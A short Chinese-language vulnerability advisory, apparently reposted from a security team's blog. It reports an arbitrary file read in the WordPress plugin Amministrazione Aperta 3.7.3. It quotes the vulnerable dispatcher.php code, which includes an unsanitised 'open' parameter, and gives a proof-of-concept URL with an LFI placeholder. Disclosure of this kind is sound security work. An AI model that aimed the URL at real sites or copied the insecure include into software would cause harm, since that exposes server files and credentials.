当前位置：网站首页>WordPress Amministrazione Aperta 3.7.3 任意文件读取

WordPress Amministrazione Aperta 3.7.3 任意文件读取

2022-04-21 12:01:00 【Khan安全团队】

# 供应商主页：https://wordpress.org/plugins/amministrazione-aperta/

# 版本：3.7.3

# 测试：火狐

# 漏洞文件：dispatcher.php

# 漏洞代码：

```

if ( isset($_GET['open']) ) {
    include(ABSPATH . 'wp-content/plugins/'.$_GET['open']);
} else {
    echo '
        <div id="welcome-panel" class="welcome-panel"
style="padding-bottom: 20px;">
                <div class="welcome-panel-column-container">';

    include_once( ABSPATH . WPINC . '/feed.php' );

```

# 概念证明：

localhost/wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=[LFI]

版权声明
本文为[Khan安全团队]所创，转载请带上原文链接，感谢
https://cloud.tencent.com/developer/article/1985186